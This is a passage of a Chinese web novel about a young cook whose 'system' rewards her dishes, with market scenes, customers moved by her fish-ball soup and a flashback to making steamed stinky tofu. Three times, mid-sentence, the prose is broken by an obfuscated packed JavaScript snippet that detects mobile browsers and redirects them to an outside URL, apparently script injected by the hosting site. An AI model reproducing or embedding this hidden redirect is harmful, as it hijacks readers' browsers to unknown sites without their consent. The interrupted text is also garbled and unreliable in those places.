常嘉欣夹起丸子，裹上浅浅的番茄酱，一口吞入，酸甜的口感一下就与咬破外边脆壳的鱼丸相遇，很快，这鱼丸自身的味道完全被酸甜的酱汁渗进来，独留下弹脆的口感与番茄酱带来的鲜活。 鲜甜！上头！ 毋庸置疑，能被系统评价S，番茄酱是头功！ 而她自己摸索出来的鱼丸，至少在口感上值得肯定。 “呜呜呜呜，好吃！”常薇薇声音再次嘹亮，绽放笑容。 “那明天再吃。”常嘉欣吃第二颗的时候裹起更多的酱，酸甜的味道很湿上头，“到时候吃炒饭送一碗鱼丸汤，我们的生意会越来越好的，姐你就放心吧。” 油炸成本太高，但是鱼丸汤就不同，或许只是葱花猪油的家常搭配，可加上到时候她学成归来的鱼丸，想必称之为人间绝品汤不为过。 就是吧，鱼丸比炒饭好吃......也就她家了。 鱼丸一个接一个吃，常嘉欣看到碗几乎没动过的炒饭，只能说，饭是生存，丸才是生活啊。 常薇薇疑惑：“那么好吃的鱼丸送啊？” “这可以帮我们招揽生意。”常嘉欣组织一些好消化的说法，再把营销策略的好处剪碎了分享给她，“每次做鱼头都有鱼身，鱼头卖得好，这让我们鱼丸的成本不会太高，这些鱼身可以做好多碗鱼丸汤，你想，客人点了一碗炒饭，发现还有一碗美味的鱼丸汤喝，是不是会很开心？到时候肯定想着还来吃，这不就可以多好多单？这鱼丸汤又好吃，客人肯定会同亲戚朋友讲，那口口相传，我们的店就越来越多人，到时候估计你中间想休息都没机会呢。” 在物质生活富足的后世，这种低成本的营销小活动已经成为店家的必备，可如今却过于“潮”。 看到常嘉欣信心十足又侃侃而谈的模样，常薇薇感觉心里也没那么慌了，手艺好又会送那么好吃的鱼丸，她相信店里生意肯定会越来越好，她拍拍胸膛：“我不怕累！” “！嗯嗯，我们可以的！” “加油！” 10. 第10章 将“家常菜”发扬光大的心是越发坚定，昨晚也是壮志凌云，但常嘉欣还是不太适应5点还没到，薇薇姐就来叫她一起出发去早市。 能怎么办呢，只能起床。 常嘉欣利落得穿上耐脏的灰色长袖衬衫，还有一条都快发白的黑色裤子，收拾收拾头发出发。 外卖雾气蒙蒙的早晨，太阳都还没光顾菜市场，但菜市场已经热闹非凡，她们才到路口就能看到里面人头攒动，耳边不时传来卖声，还有食客的大嗓门。 “最新鲜的韭菜/春笋～” “卖青团，新鲜青团！2毛一个勒～” “老板便宜点，一毛五。” “你可别缺短我......” 路口最热闹的还是早餐摊，卖包子的大娘手脚利落，打包收钱的同时，还不忘帮摊位上的客人倒豆浆，手上动作就没停下来过，她旁边的大叔则一直守在油锅旁，前脚用漏勺捞上一份，后脚就开始炸新一份油条。 “滋啦”一声下锅后，便用大长筷搅动着油锅，嘴里不时用方言念叨着。 “油条出锅啰！” “小心油锅。” 这夫妻头顶有油布张罗的蓬子，旁边就是几张矮小的桌凳，若客人腿要是长点，拿和蹲着吃也没差。 可别看这早餐摊位简陋，但人气十足，这凳上就没缺人过。 “走走走，吃早饭去。”常嘉欣带着薇薇直奔摊子，昨天她们没经验，来得时候是吃完早餐过来，那时间早市食材也新鲜丰富，但却是错过路口这早餐摊。 出门点早饭的想法，常薇薇肯定是不理解，但她根本拧不过常嘉欣。 吃早餐换桌快，她们只等上一会儿就落座，不久，便吃上了热腾腾的早饭。 一口油条，酥软合适，再喝上一口甜豆浆，醇厚香甜，常嘉欣这才感觉感觉精神与灵魂从梦中回归。 边吃边捋上一遍今天要买的菜，她就看到之前买过豆腐的老大婶瞪着三轮车从眼前经过，不过今天不急着买豆腐，她们要先去订鱼。 靠近水产摊，青石板间还续着不少水坑整得湿漉漉的，这边咸腥气像渔网般兜头罩下，摊位最前头是在尿素袋上堆着各种的翻白鱼，这种价格肯定比不上一个个大木盆，在粼粼清波里弹跳游爬，除了与鱼之外，也有虾蟹，都很鲜活。 虽然她们都穿着耐脏黑裤并不需要担心脏，但它们偶尔跳动翻身能划拉出不少带着腥味的水，要是沾上，这一整天都散不去，所以经过的时候还是很小心。 “大哥我又来了。”常嘉欣两人环顾一圈，还是原来最边上的摊位的胖头鱼最肥美，“您这送货上门么？我这几天都要定。” 穿着汗衫胶鞋的老板背朝着她们，正在不远处搬木水盆蹲着，似乎并没有听到她声音。 “嘿，大哥！”常嘉欣提高音量，“师傅！兄弟！？” 对方依旧并没有反应，就在常嘉欣准备跨木盆过去的时候，一个嘹亮声音入耳。 “哎呦，小妹你来了啊。” 侧面摊位的店家大汉走了过来，他也套着黑胶鞋，围着皮裙，上面有被鱼血染得腥味，走进特别明显。 “额，是啊，老板您这送货上门么？我这三天都先定个6条，3到5斤的都可以，之后如果稳定我再定量。”常嘉欣指了指那边的背影，“我刚还以为那位是您呢。” “我这是赚到了大顾客，我叫李明，那是我儿子李达，耳朵有些弱哈。”李明手里还拎着铁桶，放在摊位上，问道，“你要送哪里？” “就在新经济区，从这走路大概20分钟，新围小区知道不？那边的‘家常菜’馆就是我开的。”常嘉欣补充道，同时不忘夸奖，“能赚到客户还不是昨天李叔你人好。” 别的摊位有看她脸嫩直上价格的，只有李明这里不仅价格合适，还教她挑鱼。 “呀，妹子真开饭店啊，厉害。那这样，这几天我儿子给你们送过去，价格以后都按1块一斤怎么样？”李明也爽快，从原来的1块2直接给优惠。 合作定好，李明这才过去拍了拍儿子肩膀，和他说了几句，把他带过来，介绍了一番。 李达个人比他爸还高，肤色是与他父亲古铜色一致，五官硬朗，不过人一直缩着，看样子有点腼腆。 “你好，我叫常嘉欣，这是我姐常薇薇，到时候店里就我们两个接货，最好上午9点前到哈。”常嘉欣说完要求，笑着和他招呼，“我看你刚刚蹲着是在弄氧气泵？那个我们店里能装么？” 李达刚过来的时候，常嘉欣才看清楚他在摆弄的机器。 李达没直接回答，看完他父亲才开口：“很吵，大功率。” 现在气泵估计刚出现不久，机器声音估计很大，常嘉欣打消了店里畜养的可能：“那行吧，我先付今天的定金，一半可以不？” “不用，以后货到付就行，我们实诚做生意。”李明依旧爽利，还不忘指了指他刚带过来的河虾，“要虾不，今天河虾不错。” “下次，下次一定。”常嘉欣不由吞咽着口水，倒是想吃油爆河虾，香辣虾滑......呜呜呜，她相信就算是白水煮河虾都鲜美，不过，她今天重点是做鱼丸，练刀工，学炒饭，估计没时间犒劳学新菜。 告别李明父子，她们去了菜摊，除了番茄，还买了不少萝卜，等去到豆腐摊，老大婶都已经卖出去快大半。 附近的豆腐摊，还是没有臭豆腐，常嘉欣也是无奈： “大婶，记得我不？” “记得记得，闺女还要？你可买不少呢，那么快吃完？”老大婶笑着点头，看起来心情很不错。 “是的，这不是大婶的豆腐品质好嘛，再给我来几块嫩豆腐。”付钱拿菜完，常嘉欣这才继续唠嗑，“大娘，昨天我还问臭豆腐，你说你有印象，要回去问问，怎么说呀？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324914|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 老大婶拍了拍大腿，兴奋道：“嘿呦，我跟你说，昨天你一走我就想起，咱们南江很少有人吃臭豆腐，但是隔壁北清市却不少，其实老早前还有一家叫大牛臭豆腐的，便宜又好吃，我老头就很爱吃，之前那店所在的县还真是我们南江，只是后面被划过去，现在变成隔壁北清市的，以前那会儿被收成票证的豆腐店，也就没人再卖臭豆腐，要不是我这好记性，没准还真没人知道。” 这名字，常嘉欣感觉很有可能就是她找的那个店，甚至还有可能与她在系统体验中所见的人都有渊源，只是按照这个线索来说，似乎断了。 被国家收后，那原来的店家是继续上工？还是离开了？ 常嘉欣不甘心，还是再问问：“那原来做豆腐的人？大婶知道么？” “这真不知道啊，我老头自己也做豆腐，就没去过了。”老大婶也是遗憾，回忆道，“说起来，我老头也念叨着好久没吃臭豆腐，他还自己做过，吃得是上吐下泄，差点把自己给送走。” 这臭豆腐的卤水有一定含量丁酸，这种是臭豆腐卤水特征风味的重要化合物之一，但一个没弄好腹泻都算小，这也是常嘉欣没想自制卤水的原因之一。 站在化学视角，这玩意靠经验摸索出来，很讲究的。 “好吧，谢谢大娘。” 常嘉欣心想估计要去那店再问问才能有新线索。 菜市场这边出去，她们还去副食品商店买了不少调味料或香料，重点是干辣椒和黄豆，常嘉欣准备找时间把辣椒酱和豆豉酱做出来，前者满足常嘉欣偶尔对川菜的念想，后者虽然需要发酵时间可确实是不少炒菜的关键调味料。 等她们到店里做开店准备，时间已经快8点半，刚好碰到来送鱼的李达。 接鱼放水池，打扫店里卫生，洗米蒸饭，考虑到鱼头需要炖煮的时间，常嘉欣索性先把鱼头炖上两个，然后再处理鱼身。 这一次，对比昨天，在去骨刮茸手法上就娴熟太多，也游刃有余。 等店铁门拉开的时候，她煮成的满满一锅清汤鱼丸就完成了。 “恭喜宿主制成SSS清汤鱼丸，达成厨艺新称号：尚可，奖励随机家常菜谱——炒时蔬、时蔬炒鸡杂、萝卜丝烧荷包蛋、红烧家烧杂鱼、香卤猪尾巴。” “下一个阶段：合格，需要完成9种SSS美食，且需要不同烹饪手法。” “进度说明：蒸、煮（1/1）、炒（1/1）、炖、焖、熘、卤、烧、炸、烤、煎、煸、煲（1/1）、拌......” 常嘉欣把大锅的鱼丸汤放在煤炉上温着，看着新入手的菜谱，心情更愉悦了。 她原本打算用自己练刀的萝卜丝做萝卜丝丸子来着，现在竟然有相关菜谱，不仅不浪费，还相当于附赠这种切丝的刀法。 店开了，但是还没人进来，常嘉欣所幸先把这个萝卜丝烧荷包蛋给学了！ 11. 第11章 隔壁老赵面馆。 老板娘王金花刚揉好面团，就听到隔壁铁门拉开的声音，忍不住她丈夫赵跃进嘟囔：“那店应该是盘不下来了，人家小姑娘真准备自己开店，瞧，今天又开张了。” “急什么，这开店有那么容易？要手艺要懂人情世故，我昨天瞄了一眼，就那两个小姑娘，能成什么事？”赵跃进正熬着骨头汤，不以为意，“昨天要不是咱们店里排队，好几个人估计都不会去吃。等着吧，到时候开不下去，我们还能压价盘过来，放心好了。” “我们店就是太小。”每天看到因为店里坐满，那些新来的客人没耐心走掉，王金花也很心痛，“你说有没有办法让客人吃快点？咱们面放少点？” 说到后面，或许因为心虚，声音越发小。 “你以为我没想过么，这店里老客不少，面一少人很快能发现。”赵跃进摇摇头，“先等吧，右边的旧货铺看起来生意也不咋滴，没准两边都能吃下。就是儿子嫌弃这生意，都不想做，我们两个年纪大了，真把店开大估计都要请人。” “儿子是要劝劝......这挣钱......” 这边面馆在讨论开拓的可能，旁边被评价为生意不咋地的旧货铺老板齐大山则在纠结午饭吃什么。 “你说吃炒饭还是吃面？老赵的面其实还不错，就是吃都快一个月了。”齐大山对着他女儿齐海月嘟囔，“家常馆是开了，不过掌厨是他家女儿，别人不知道，我可听说了，做个饭把厨房给烧了，个子都进医院了，这能吃？” “不过这姑娘魄力可以，和你有的一比，可惜就是家里能撑事的大人没了，到时候要是遇到那种脸皮厚的客人，容易被欺负。” “要不，还是去支持一下，好歹大家一起开店，邻里邻外的，唉，还是可惜，老常为人好，做饭也好吃，他媳妇爱干净为人和气还大气，比王大姐好太多了，我跟你说，昨天你不在，我就要个醋，不搭理就算了，还嫌弃我吃得慢。” 齐大山的女儿正快速打着算盘，清点着上个月的收益，看她那个仗势就知道，店铺收益不错，不过这里门道外人却是看不出，他们其实在经济区最边上盘下了旧货仓库，那才是出货大头，平日里还有器械厂二手机器的倒腾。 对比这儿也就冷清许多，顶多偶尔接待一下，这生意看起来自然不咋地。 齐海月根本不搭理齐大山嘟囔，把帐全部盘好，收好账簿才看了眼时间：“人家能开店自然有底气，走吧，吃个炒饭更快，我下午要去一趟拖拉机厂，那边有一批二手我想拿下，要是运作好，今年下半年就躺着收钱。” 不同于齐大山对食物的追求，齐海月讲究快、饱，吃汤面还是比较烫嘴，她自然更倾向炒饭。 反正店里又没客人，两人直接关门上馆时其实才11点，倒是做了今天家常菜店里的头桌。 “两位吃什么？”常薇薇并不认识这两个邻居，认真地指了指黑板上的菜单，顺畅地讲出昨天晚上她背诵多次的话术，“番茄鱼头豆腐汤正炖着，点上很快就可以喝，配炒饭出锅正正好，要尝尝吗？” 常薇薇觉得还是要先推荐这喝过就让人忘不了的汤，这鱼丸汤是送的但没写在黑板上，要是他们不点汤再送上鱼丸，想必也不会介意她多说什么。 齐大山看到汤价格时微微挑眉，但他向来不会亏待嘴，这价格他倒不觉得贵，毕竟有时候他陪客人去南江饭店，那一顿饭也要几十块，只是这搭配有点起锅，番茄和鱼？ 算了，就当支持一下小姑娘，齐大山点头：“那就两碗蛋炒饭，再加上个番茄鱼头汤。” “好的，有什么忌口吗？比如葱姜？炒饭撒不撒葱也可以定。” “加，我们不忌口。”齐海月打量了一下常薇薇，似乎看出她有点拘谨的模样，爽利又诚恳地招呼，“我们是隔壁旧货店的，我叫齐海月，这是我爸齐大山，以后有什么需要的，可以来找我们帮忙，店里都有人。” 常薇薇刚刚进来其实有被齐海月时尚的装扮所吸引，她一头蓬松的大波浪卷发，穿着鲜明的玫红色针织衫，搭配深蓝色微喇牛仔裤，非常靓丽，这牛仔裤她和常嘉欣还在百货大厦逛街时看到过，售货员还在上面贴了大的红色标签，三十元一条，属于她绝对不会买的衣服。 或许是齐海月这般气势十足进来，也就让她有些拘谨怯意，这种情绪来得很突然，但其实消失也快，如今听到对方还是隔壁店家，常薇薇试着学习常嘉欣爽朗的自我介绍：“你们好，我叫常薇薇，是店里的服务员，也是小欣的堂姐，谢谢你们支持我们。” 等她再出现，就是端着木盘上菜了。 齐大山看到饭粒间均匀裹着金黄鸡蛋的炒饭，发现光看卖相似乎不差，但他注意力还是在热腾腾的鱼头汤旁边那两碗浮动四颗鱼丸，葱圈点缀间，显得鱼丸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324915|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更加白胖：“这鱼丸汤我们......” “这是店里送的，感谢大家对家常菜的支持。” 常薇薇特意给它们多加倒是没说，店里也陆陆续续来了不少客人，就没再特意招呼他们。 齐大山没想到还有这种小惊喜，不过他不急着吃鱼丸，还是先吃上一口炒饭。 嗯？ 竟然还不错！ 感觉似乎比老常的炒饭还好吃！ 看来以后不用纠结了。 确定以后午饭的归属，他没再犹豫，这才用饭勺撩起一颗鱼丸，汤没那么烫，鱼丸一口下去，嫩滑，弹性十足的口感迸发出鲜香..... 嗯？！ 鱼丸怎么可以那么好吃，这一口下去实在让人念念不忘！ 还有明明看起来是再通透不过的清水汤也可以那么鲜香利口，妙不可言！ 等他再回过神了，四个鱼丸已经被他吃完了，那汤也已经见底。 “嘿闺女，别看是赠送的，但......”齐大山正准备招呼齐海月喝那碗鱼丸汤，却发现，砂锅鱼里的半个鱼头刚被夹到闺女自己的碗，而另半个残骸已经躺在桌上了。 ？ 不是，你礼貌吗？孝顺吗？ 那么大的两瓣鱼头呢！ 你不是要吃快点上班吗！所以这样快点吃鱼头的吗？ “你.....一个人吃，慢点，这个鱼髓一定要吸，呜，鱼背刺多，要不我帮你......好好好，你自己吃。”齐海月只轻轻抬了下眼眸，齐大山能怎么办，只能默默给自己舀上一碗豆腐番茄汤。 豆腐好吃！番茄好吃！ 清汤鱼丸只是清爽的鲜香，而用文火炖出来的豆腐汤，醇厚的口感使得汤的鲜美层次更加分明，鱼香，豆意，还有番茄带来恰到好处的清甜，回味无穷！ 不行，不能在回味了，他要加快“嘴”伐，不然这鱼汤要没了！ 唉，还是很可惜，这鱼汤都如此美味，想必那鱼头一定不差，他怎么就被鱼丸蒙蔽了双眼呢！ 也不对，鱼丸也好好吃，是他吃过最好吃的鱼丸了。 算了，店在人在，他有钱就还能吃到，闺女热衷于工作，吃饭一直习惯兑付，这下次肯定能吃上鱼头的。 心思并不比话少的齐大山默默安慰一通自己，最终带着幽怨、遗憾、好奇、急迫地复杂表情吃完付钱离开。 12. 第12章 这时间段店里人多起来，附近工厂都下班了，三三两两，有些人还需要拼桌才能坐下，常薇薇来回在店里安排，都没来得及送齐大山他们。 人多起来，上炒饭就慢，不过客人们都没什么有怨言，尤其是赠送的鱼丸汤一上场，虽然量不多，也就两颗，可味道好啊，汤水也鲜美，大多数人都不吝啬夸奖与感谢，有的客人甚至为了再喝一碗，又点上了一份炒饭。 客人等待没有不耐烦，吃得也开心，常薇薇在店里忙活越发有劲头，加上早在开业前就背过常嘉欣分享的不少服务话术，招呼起来也就干练不少。 不过，当她看到昨天开业那个喝汤哭出来的中年男人又来了，又有点怵。 “中午好，现在店里人多，只能拼桌，这边介意吗？”常薇薇小声问道，总担心她那嗓门吓着人家。 中年男人表示不介意，这次点单依旧。 常薇薇回厨房点的时候，不由补充着：“一个鱼头豆腐一个炒饭，小欣，是昨天那个哭的客人的单子。” 常嘉欣刚炖上第三个鱼头，这第二个鱼头就卖出去，她顺着常薇薇的视线瞟了一眼，男人年纪估计有五六十，穿着很简朴的灰布衫，不像是条件好到每天可以吃5元菜的人。 “没事，姐你正常招待就行。”不过客人既然点，她也没推脱的说法，同时琢磨了下外面差不多快满的桌椅，“要是客人再来只能让他们等，到时候你记一下，等得久，多送一个鱼丸好了。” “好。” 常薇薇刚好看到有一个人吃完离桌，立马带上抹布上前收拾，同时喊着：“慢走啊，谢谢光临。” 店里有堂食，自然也有打包带走的，这个时候没什么外卖盒的说法，都是自觉带着铁饭盒过来的。 这问题就出来了，今天来的客人都不知道还有送鱼丸汤，一个铁饭盒可就不够，这要是不吃到，不就是亏了吗？ 至少罗艳红就是这样的想的，她不是不想在店里吃，只是这附近熟人多，要是被人看到她下馆子，这不持家的风评都可能出来，到时候可怎么嫁人！ 可要是放弃一碗鱼丸汤，也太亏了，她觉得这更不持家。 罗艳红看到店里不少人吃上一鱼丸或者嘬一口汤就一脸满足能升仙的样子...... 算了，就一次？ 只是此时有座位的地方不多，她等到店里有位子，这才坐下来。 和她拼桌侧面的一个灰布衫大爷还挺显眼，在平日里她根本想不到这般看起来拮据的大爷会点番茄鱼头豆腐汤！ 5元钱呢！ 其实这汤闻起来想味并不霸道，但这价格摆在这里，看起来就很好喝。 算了算了，5元钱我可以买雪花膏，买口脂，再攒一攒都能买小皮鞋了。 嗯，百货大楼那售货说这个月底会有一批新货，和电影大明星同款呢，这个月闲钱还是得攒着，到时候可以买上。 罗艳红努力转移注意力，总算等到自己的蛋炒饭和鱼丸汤登场。 炒饭她昨天就吃过，自然先放一边，鱼丸只有两个，她决定先舀上一口汤。 鲜！ 这一口汤完全不满足味蕾，她只能咬上鱼丸，鱼肉的鲜香混着淡淡姜葱香在舌尖追逐，最终冲上灵魂。 这鱼丸怎么会那么好吃！ 只有一个了！ 罗艳红压着内心的渴望，开始吃炒饭，只是吃着吃着发现，旁边这大爷......哭了？ 还是那种压抑着声音，边喝汤边哭，要不是她在旁边，估计都感觉不出来。 这......是好吃哭了？ “这汤......那么好喝？”罗艳红小声问道。 灰布衫大爷呢喃：“好喝，有家的味道。” “不是，饭馆子有家的味道，你这真不是在骂人家？？”罗艳红忍不住腹诽，打量了他半天，“再说，人家开店做生意，你哭什么，找茬啊？也不对，找茬也没见哭那么弱的。” 罗艳红抓紧扒拉几个炒饭，然后气势汹涌卷起起袖子，特意露出手臂上秀美的肌肉线条：“你就说想干嘛吧？” 她昨天来就知道，店里换原来厨师的女儿，这由两个小女孩子支撑起门店，本来就不容易，这会儿竟然那么快就有人找事，她罗艳红最看不惯这种事！ 她，罗燕红，中级钳工，别看大多数工作就只手挫零件，调来南江这厂之前，那可是打架王者，打架不比男人弱！ “对.....对不起，我就是想家人了。”灰布衫大爷似乎没想到罗艳红这样直截了当，甚至一副他要是敢做什么就准备干架的模样，一时之间眼泪都忘记，赶紧解释，同时不忘用灰布衫袖口擦掉眼泪，喉结滚动着咽回哽咽，“汤很好喝，像小时候喝到过的，所以就想家了......” 罗艳红狐疑道：“好吧，那你别哭了，大庭广众影响店家生意。” 说完，思维都开始发散，这南方的男人都那么弱唧唧的，她真能在这找到好对象？ 她没在说多什么，而是安静把炒饭吃完，然后双手捧着还剩下的鱼汤，一口一口，不时瞟一眼那灰布衫大爷，确定他老老实实在吃饭，继续喝汤，直到汤见底，才把最后的鱼丸收入口中。 这鱼丸汤！真好喝！ 不敢想象她要是错过了得多亏。 但罗艳红还是遗憾，这还是太少了，虽然炒饭量很足，可是口中的鲜美还在荡漾心神，总感觉没吃饱喝饱。 “这碗鱼丸汤，你喝吗？我没动过！刚刚谢谢你提醒。”灰布衫大爷也有关注她，特意推过来他的赠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324916|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤，又解释道，“我一个人鱼头汤量就很大了。” 罗艳红还想推托，不过为了避免食物的浪费她终究没拒绝：“那谢谢了。要我说，大男人顶天立地，想家人就去见，哭没什么用的。” “见不着了。”灰布衫大爷低下头，让人看不清神情，再次喝上一口豆腐汤。 意思到他说的家人可能不在人世了？ 罗艳红手略停顿，很快开口：“我一个没爸没妈的都没在外面哭过，你一个大男人有什么好哭的，我准备找个对象组建我的新家，你么，可以珍惜还在的家人？如果没有那就也找找，咱们都要向前看。” “额......”灰布衫大爷有些诧异，罗艳红自在爽朗的模样完全看不出她的家庭，或许也因此，下意识把这个比他许多的姑娘当成倾述对象，“其实我只是和母亲、弟弟他们走散很久了，不知道他们还在不在。我自己的家......” 灰布衫大爷名叫孙勇，他有自己的小家，甚至如今都做爷爷了。 只是，他和自己母亲、弟弟走散已经三十七年，曾经发过不少报纸杂志的寻人贴，也一直借着自己开店面的方式找人，可惜都无果。 “......票证那会，我那臭豆腐店被国家征收，改成豆腐店，只是今年店面还回来，我和儿子也失业，现在我想开臭豆腐店，儿子连豆腐都不愿意做，更何况臭豆腐，就吵了一架。” 说到这里，孙勇心情更低落了。 人生有三苦，撑船打铁卖豆腐，做豆腐很累，也很枯燥，他其实能理解儿子，因为他都快不确定，如果没有那个找到家人的念想，他还会不会日复一日做豆腐，腌臭豆腐。 因为儿子有句话可能没说错，那么多年没人找来过，也没有任何线索，要么就是人都没了，要么就是没想过认他。 罗艳红越听越奇怪，问道：“除了做臭豆腐，你还会什么？” “啊？”孙勇一下子没理解这个问题，但还是老实回答，“豆干......务农？好吧，也没地了.....这十年里都在做豆腐，前面二十年在做臭豆腐。” “那不得了，你也干不了其他啊。听意思，你自己能一个人开臭豆腐店吧？你自己开不就好了，你儿子想干嘛让他自己去啊，他都当爹了，反正担起养家责任就行。”罗艳红不理解他复杂的情感路线，说话是又直又莽，“你这年纪工作肯定不找好，要么就干体力活，那还不如自己开店，反正有店铺，你估计手艺也不错吧？开了肯定能赚钱。到时候有闲钱么你可以继续找亲人啊，人没了也没事，等进棺材至少不会后悔。” “好了，大叔，我吃完了，谢谢你的鱼丸汤哈，我们有缘再见。” 罗艳红满足地吃完最后一颗鱼丸，也不等孙勇再说什么，便直接回工厂上班。 13. 第13章 这儿的对话常嘉欣自然是不知道，但结果她却能收到，就在她豆豉刚成的当天，也是常嘉欣定下的“家常菜”馆休息的周日。 “随机任务完成，奖励菜谱臭豆腐蒸霉苋菜梗·体验券。” “触发任务·孙勇的心愿：孙勇在罗艳红劝说下决定重整旗鼓，已大牛臭豆腐重新开业，但仅凭孙勇一己之力在有生之年或许很难完成心愿，请协助完成孙勇的心愿，任务奖励根据心愿进度发放。” “任务提示：家常菜无法传播家的味道，但远近闻名的‘家常菜’可以。” 周日的凌晨五点，常嘉欣就被系统提醒的声音叫醒。 这随机任务本来还打算今天才去隔壁市看看，如今还没出发啊，常嘉欣实在是懵。 不是，孙勇是谁？ 罗艳红又是谁？这劝说关她常嘉欣什么事情，这任务怎么就完成了！？ 还有啥心愿啊！？ 大牛是孙勇的名字？ 这提示，意识是要有名气？ 远近闻名，这是要赚钱去投广告么？ 这个时代广告怎么打？ 好像国家电视台就可以，地方报纸也可以，但是她现在没钱啊！ 一连串的疑问到无语，常嘉欣这下子也就睡不着了。 决定试一试这体验券。 臭豆腐蒸霉苋菜梗，不就是蒸双臭吗？她在纪录片看过。 意识还未回笼，常嘉欣发现又出现在熟悉的厨房。 这好像就是牛大娘家那个老旧的厨房，她附身的牛大娘正在铁锅前面烧着什么。 锅盖缝隙都冒着烟，看样子快好了。 牛大娘准备好大碗，掀开锅，随着热气散去，汤汁已经在咕噜咕噜冒泡。 是鱼头豆腐汤啊。 这汤的豆腐用得是老豆腐，它正在竭力吸着汤汁，大火让它变得越发柔软滑嫩。 牛大娘刚要准备把汤出锅，小牛嘹亮的声音就从门外进到厨房。 “娘！有番茄熟了！我都摘个回来呢！”小牛举着两个番茄，一大一小，颜色都是红彤彤的，“当当当，又红又大，我洗干净了，我吃过一个可好吃了。还有两个，娘你一个，哥哥一个，刚刚好。” 话虽如此，他吞咽口水的模样可看不出吃过。 牛大娘接过2个番茄，利落得切成几块丢入了汤里，然后叫上已经大汗淋漓的大牛：“大牛，好熄火了，带弟弟一起去洗把脸，吃饭。” 番茄鱼头豆腐汤原来还有这种由来。 常嘉欣还没感慨完，牛大娘就转身把煤炉上蒸笼打开，那扑面而来的香味，就算起雾一时看不清，也不妨碍认出。 是臭豆腐蒸霉苋菜梗！ 这次的成品竟是直接出现！ 惊讶之后，依旧是嗅觉上的冲刺，像是踩烂的淤泥地与拥堵许久的臭水沟，两种臭意在其中交通，臭得酣畅淋漓，等鼻翼习惯这味道，那就是这盘菜诡异的外观，臭豆腐因为苋菜都被蒸的绿油油，说实话，这道农家菜，色香皆“毒”。 至于味嘛，要等下才知道。 很快，一家三口围着饭桌，桌上除了臭豆腐蒸霉苋菜梗，还有红烧鱼块和鱼头豆腐汤，哦不，是番茄鱼头豆腐汤，这样两菜一汤，看起来很丰盛。 他们的生活变好了，常嘉欣心想。 大牛看不出明显变化，只是更为精干健壮，汗衫裸露出来的胳膊肌肉感满满，小牛个子拔高了不少，估摸着至少10岁了。 或许这距离上次体验时间已经是三四年后。 “下午我和你哥还要去卖豆腐和臭豆腐，你在家守着，别乱跑，知道么？”牛大娘将一大块鱼肚子上的肉拉给小牛，叮嘱道，“要是听到铜锣敲响，也别慌，就向山上小屋跑。” 然后牛大娘才夹起了霉苋菜梗。 绿色的梗已经熟透，看起来有点“蜕皮”，有部分已经裂开，靠最外面的梗壳还连接着，露出些许淡绿色的梗果肉，凑近的时候，那浓郁的臭更重。 这一口咬下去，将汁水与梗内肉一同入口，润润滑滑，鲜美异常。 再闻这菜，臭中都带着香，等到把蒸好的臭豆腐过着饭一同入口，那滋味，更绝。 臭豆腐这东西还真是越吃越上头，这霉苋菜梗也是。 常嘉欣很快明白这菜的真谛，霉到极处方转鲜，两种腌制后的鲜味融合，就这份鲜美，当然能让人念念不忘。 这一次的体验，她跟着牛大娘他们一同从夏天步入秋天，期间常嘉欣跟着牛大娘做过好多次蒸双臭，也跟着她利用地窖中那坛经历些许岁月的臭卤水腌制出不少臭豆腐和霉苋菜梗。 腌制梗的方法不难，将苋菜梗洗净切段，撒点粗盐就可以腌入坛子，剩下就是它的蛋白质逐渐被分解，而这种分解后的氨基酸，便是吃“霉”的本质。 也是苋菜好种植，几乎每隔一段时间牛大年都会腌制一些。 而这碗臭豆腐蒸霉苋菜梗，她是从体验第一天起，同牛大娘一家持续吃到秋收。 秋收结束的第一顿晚饭还是两菜一汤，蒸双臭依旧占据饭桌，汤是最简单的青菜豆腐汤，但还有一碗主角是栗子的栗子烧肉，让这顿饭显得格外丰盛，除此之外，三个饭碗里再也没有粗粮伴着，而是满满一碗纯粹的白米饭。 牛大娘最先夹起蒸好的臭豆腐，伴着一口饭下去，鲜味非常，不过等她准备去夹苋菜梗的时候倒是想起来：“大牛，明天我们去把东面那边的苋菜梗都收了，这应该是今年最后一批苋菜。” 大牛正埋头用苋菜梗扒拉着白米饭，毫不含糊点头。 这菜他们家都爱吃，完全吃不厌！ 牛大娘筷子顿住，筷子转了方向，挑出一块裹着晶亮油花的暗红色肥肉，稳稳落进大牛饭碗里：“慢点吃，多吃肉，秋收幸苦了。” 如今大牛已经是主要劳力，辛苦不言而喻，尤其是看那晒脱皮的脖颈红黑，到了晚上会又痒又疼，可他从不抱怨。 